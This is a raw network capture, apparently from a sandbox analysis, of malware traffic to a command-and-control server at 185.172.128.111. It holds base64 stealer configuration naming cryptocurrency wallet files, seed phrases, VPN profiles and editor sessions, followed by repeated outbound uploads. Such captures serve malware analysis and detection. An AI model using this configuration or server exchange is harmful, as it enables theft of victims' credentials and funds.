5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 58 45 64 79 5a 57 56 75 58 48 64 68 62 47 78 6c 64 48 4e 63 66 43 6f 75 4b 6e 77 78 66 46 64 68 63 32 46 69 61 53 42 58 59 57 78 73 5a 58 52 38 4d 58 78 63 56 32 46 73 62 47 56 30 56 32 46 7a 59 57 4a 70 58 45 4e 73 61 57 56 75 64 46 78 58 59 57 78 73 5a 58 52 7a 58 48 77 71 4c 6d 70 7a 62 32 35 38 4d 48 78 46 64 47 68 6c 63 6d 56 31 62 58 77 78 66 46 78 46 64 47 68 6c 63 6d 56 31 62 56 78 38 61 32 56 35 63 33 52 76 63 6d 56 38 4d 48 78 46 62 47 56 6a 64 48 4a 31 62 58 77 78 66 46 78 46 62 47 56 6a 64 48 4a 31 62 56 78 33 59 57 78 73 5a 58 52 7a 58 48 77 71 4c 69 70 38 4d 48 78 46 62 47 56 6a 64 48 4a 31 62 55 78 55 51 33 77 78 66 46 78 46 62 47 56 6a 64 48 4a 31 62 53 31 4d 56 45 4e 63 64 32 46 73 62 47 56 30 63 31 78 38 4b 69 34 71 66 44 42 38 52 58 68 76 5a 48 56 7a 66 44 46 38 58 45 56 34 62 32 52 31 63 31 78 38 5a 58 68 76 5a 48 56 7a 4c 6d 4e 76 62 6d 59 75 61 6e 4e 76 62 6e 77 77 66 45 56 34 62 32 52 31 63 33 77 78 66 46 78 46 65 47 39 6b 64 58 4e 63 66 48 64 70 62 6d 52 76 64 79 31 7a 64 47 46 30 5a 53 35 71 63 32 39 75 66 44 42 38 52 58 68 76 5a 48 56 7a 58 47 56 34 62 32 52 31 63 79 35 33 59 57 78 73 5a 58 52 38 4d 58 78 63 52 58 68 76 5a 48 56 7a 58 47 56 34 62 32 52 31 63 79 35 33 59 57 78 73 5a 58 52 63 66 48 42 68 63 33 4e 77 61 48 4a 68 63 32 55 75 61 6e 4e 76 62 6e 77 77 66 45 56 34 62 32 52 31 63 31 78 6c 65 47 39 6b 64 58 4d 75 64 32 46 73 62 47 56 30 66 44 46 38 58 45 56 34 62 32 52 31 63 31 78 6c 65 47 39 6b 64 58 4d 75 64 32 46 73 62 47 56 30 58 48 78 7a 5a 57 56 6b 4c 6e 4e 6c 59 32 39 38 4d 48 78 46 65 47 39 6b 64 58 4e 63 5a 58 68 76 5a 48 56 7a 4c 6e 64 68 62 47 78 6c 64 48 77 78 66 46 78 46 65 47 39 6b 64 58 4e 63 5a 58 68 76 5a 48 56 7a 4c 6e 64 68 62 47 78 6c 64 46 78 38 61 57 35 6d 62 79 35 7a 5a 57 4e 76 66 44 42 38 52 57 78 6c 59 33 52 79 62 32 34 67 51 32 46 7a 61 48 77 78 66 46 78 46 62 47 56 6a 64 48 4a 76 62 6b 4e 68 63 32 68 63 64 32 46 73 62 47 56 30 63 31 78 38 4b 69 34 71 66 44 42 38 54 58 56 73 64 47 6c 45 62 32 64 6c 66 44 46 38 58 45 31 31 62 48 52 70 52 47 39 6e 5a 56 78 38 62 58 56 73 64 47 6c 6b 62 32 64 6c 4c 6e 64 68 62 47 78 6c 64 48 77 77 66 45 70 68 65 48 67 67 52 47 56 7a 61 33 52 76 63 43 41 6f 62 32 78 6b 4b 58 77 78 66 46 78 71 59 58 68 34 58 45 78 76 59 32 46 73 49 Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8XE11bHRpRG9nZVx8bXVsdGlkb2dlLndhbGxldHwwfEpheHggRGVza3RvcCAob2xkKXwxfFxqYXh4XExvY2FsI
Apr 26, 2024 09:41:16.686611891 CEST	467	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJECBGIJDGCAEBFIIECA Host: 185.172.128.111 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 31 62 35 61 62 31 65 35 62 32 33 35 31 38 33 33 32 36 39 30 64 66 38 36 31 63 62 30 33 38 39 39 33 39 33 64 63 66 65 39 35 39 37 64 30 31 65 62 35 38 34 39 30 39 35 65 39 37 62 38 39 61 61 62 39 34 66 66 63 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 2d 2d 0d 0a Data Ascii: ------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="token"61b5ab1e5b23518332690df861cb03899393dcfe9597d01eb5849095e97b89aab94ffc51------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="message"files------IJECBGIJDGCAEBFIIECA--
Apr 26, 2024 09:41:17.041142941 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2052 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 33 68 38 4e 58 77 78 66 44 46 38 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6e 42 75 5a 79 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 5a 47 59 73 4b 6d 4a 68 59 32 74 31 63 43 6f 75 63 47 35 6e 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 6b 5a 69 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 35 6e 4c 43 70 79 5a 57 4e 76 64 6d 56 79 4b 69 35 77 5a 47 59 73 4b 6d 31 6c 64 47 46 74 59 58 4e 72 4b 69 34 71 4c 43 70 56 56 45 4d 74 4c 53 6f 75 4b 6e 77 78 4e 54 41 77 66 44 46 38 4d 58 78 45 54 30 4e 54 66 43 56 45 54 30 4e 56 54 55 56 4f 56 46 4d 6c 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 62 6d 63 73 4b 6e 64 68 62 47 78 6c 64 43 6f 75 63 47 52 6d 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 75 5a 79 77 71 59 6d 46 6a 61 33 56 77 4b 69 35 77 5a 47 59 73 4b 6e 4a 6c 59 32 39 32 5a 58 49 71 4c 6e 42 75 5a 79 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 52 6d 4c 43 70 74 5a 58 52 68 62 57 46 7a 61 79 6f 75 4b 69 77 71 56 56 52 44 4c 53 30 71 4c 69 70 38 4d 54 55 77 4d 48 77 78 66 44 46 38 52 45 39 44 55 33 77 6c 52 45 39 44 56 55 31 46 54 6c 52 54 4a 56 78 38 4b 69 35 30 65 48 51 73 4b 69 35 6b 62 32 4e 34 4c 43 6f 75 65 47 78 7a 65 48 77 31 66 44 46 38 4d 58 78 53 52 55 4e 38 4a 56 4a 46 51 30 56 4f 56 43 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 33 68 38 4e 58 77 78 66 44 46 38 55 6b 56 44 66 43 56 53 52 55 4e 46 54 6c 51 6c 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 62 6d 63 73 4b 6e 64 68 62 47 78 6c 64 43 6f 75 63 47 52 6d 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 75 5a 79 77 71 59 6d 46 6a 61 33 56 77 4b 69 35 77 5a 47 59 73 4b 6e 4a 6c 59 32 39 32 5a 58 49 71 4c 6e 42 75 5a 79 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 52 6d 4c 43 70 74 5a 58 52 68 62 57 46 7a 61 79 6f 75 4b 69 77 71 56 56 52 44 4c 53 30 71 4c 69 70 38 4d 54 55 77 4d 48 77 78 66 44 46 38 54 6b 39 55 52 56 42 42 52 48 77 6c 51 56 42 51 52 45 46 55 51 53 56 63 54 6d 39 30 5a 58 42 68 5a 43 73 72 58 48 77 71 4c 6e 68 74 62 48 77 78 4e 58 77 78 66 44 46 38 54 6b 39 55 52 56 42 42 52 48 77 6c 51 56 42 51 52 45 46 55 51 53 56 63 54 6d 39 30 5a 58 42 68 5a 43 73 72 58 47 4a 68 59 32 74 31 63 46 78 38 4b 69 34 71 66 44 45 31 66 44 46 38 4d 58 78 54 56 55 4a 4d 53 55 31 46 66 43 56 42 55 46 42 45 51 56 52 42 4a 56 78 54 64 57 4a 73 61 57 31 6c 49 46 52 6c 65 48 51 67 4d 31 78 4d 62 32 4e 68 62 46 78 54 5a 58 4e 7a 61 57 39 75 4c 6e 4e 31 59 6d 78 70 62 57 56 66 63 32 56 7a 63 32 6c 76 62 6c 78 38 4b 69 35 7a 64 57 4a 73 61 57 31 6c 58 79 70 38 4d 54 56 38 4d 58 77 78 66 46 5a 51 54 6c 39 44 61 58 4e 6a 62 31 5a 51 54 6e 77 6c 55 46 4a 50 52 31 4a 42 54 55 5a 4a 54 45 56 54 4a 56 78 63 4c 69 35 63 58 46 42 79 62 32 64 79 59 57 31 45 59 58 52 68 58 46 78 44 61 58 4e 6a 62 31 78 44 61 58 4e 6a 62 79 42 42 62 6e 6c 44 62 32 35 75 5a 57 4e 30 49 46 4e 6c 59 33 56 79 5a 53 42 4e 62 32 4a 70 62 47 6c 30 65 53 42 44 62 47 6c 6c 62 6e 52 63 55 48 4a 76 5a 6d 6c 73 5a 56 78 38 4b 69 35 34 62 57 78 38 4d 54 41 77 66 44 46 38 4d 48 78 57 55 45 35 66 52 6d 39 79 64 47 6c 75 5a 58 52 38 4a 56 42 53 54 30 64 53 51 55 31 47 53 Data Ascii: REVTS3wlREVTS1RPUCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8REVTS3wlREVTS1RPUCVcfCp3YWxsZXQqLnBuZywqd2FsbGV0Ki5wZGYsKmJhY2t1cCoucG5nLCpiYWNrdXAqLnBkZiwqcmVjb3ZlcioucG5nLCpyZWNvdmVyKi5wZGYsKm1ldGFtYXNrKi4qLCpVVEMtLSouKnwxNTAwfDF8MXxET0NTfCVET0NVTUVOVFMlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8RE9DU3wlRE9DVU1FTlRTJVx8Ki50eHQsKi5kb2N4LCoueGxzeHw1fDF8MXxSRUN8JVJFQ0VOVCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8UkVDfCVSRUNFTlQlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXHwqLnhtbHwxNXwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXGJhY2t1cFx8Ki4qfDE1fDF8MXxTVUJMSU1FfCVBUFBEQVRBJVxTdWJsaW1lIFRleHQgM1xMb2NhbFxTZXNzaW9uLnN1YmxpbWVfc2Vzc2lvblx8Ki5zdWJsaW1lXyp8MTV8MXwxfFZQTl9DaXNjb1ZQTnwlUFJPR1JBTUZJTEVTJVxcLi5cXFByb2dyYW1EYXRhXFxDaXNjb1xDaXNjbyBBbnlDb25uZWN0IFNlY3VyZSBNb2JpbGl0eSBDbGllbnRcUHJvZmlsZVx8Ki54bWx8MTAwfDF8MHxWUE5fRm9ydGluZXR8JVBST0dSQU1GS
Apr 26, 2024 09:41:17.082027912 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBAKKECAEGCAKFIIIDH Host: 185.172.128.111 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:17.598110914 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:17.604909897 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHD Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:18.127449036 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:18.138555050 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGCGDHJEGHJKFHJJJKJ Host: 185.172.128.111 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:18.873874903 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:18.886396885 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCFHDAKECFIDGDGDBKJD Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:19.417606115 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:19.433554888 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEB Host: 185.172.128.111 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:19.900516033 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:19.907052040 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCBGCAFIIECBFIDHIJK Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:20.409513950 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:20.416574955 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHI Host: 185.172.128.111 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:20.878304005 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:20.886859894 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCFHDAKECFIDGDGDBKJD Host: 185.172.128.111 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:21.404277086 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:21.409692049 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHI Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:21.904954910 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:21.921277046 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECAFHDBGHJKFIDHJJJE Host: 185.172.128.111 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:22.430535078 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:22.436924934 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEB Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:22.965292931 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:22.971591949 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIIEBGCAAECBGCBGCBK Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:23.442867041 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:23.486264944 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBKKECBGIIJJKECGIJE Host: 185.172.128.111 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:24.092428923 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:24.098345995 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKJDBAAKJDGCBFHCFCG Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:24.915716887 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:24.923273087 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECAFHDBGHJKFIDHJJJE Host: 185.172.128.111 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:25.480071068 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:25.486354113 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBKKECBGIIJJKECGIJE Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:25.997750044 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:26.005695105 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJJJDHDGDAAKECAKJDA Host: 185.172.128.111 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:26.482188940 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:26.487533092 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBKKECBGIIJJKECGIJE Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:26.999680996 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:27.006599903 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJJJDHDGDAAKECAKJDA Host: 185.172.128.111 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:27.493870020 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:27.501032114 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBKKECBGIIJJKECGIJE Host: 185.172.128.111 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:28.029288054 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:28.035720110 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFIDHDGIEGCAKFIIJKF Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:28.675534964 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:28.682360888 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJECBGIJDGCAEBFIIECA Host: 185.172.128.111 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:29.212241888 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:29.219548941 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHCGCAEBFIJKFIDBGHD Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:29.688982010 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:29.697465897 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHJECAAAFHIJKFIJEGC Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:30.173511982 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:30.181385040 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHJKFHJJJKJJJJKEHCB Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:30.706685066 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:30.713927984 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGID Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:31.179095984 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:31.185960054 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJK Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:31.700694084 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:31.705786943 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGID Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:32.251815081 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:32.256716967 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEBGDAFHJEBGDGIJDH Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:32.769669056 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
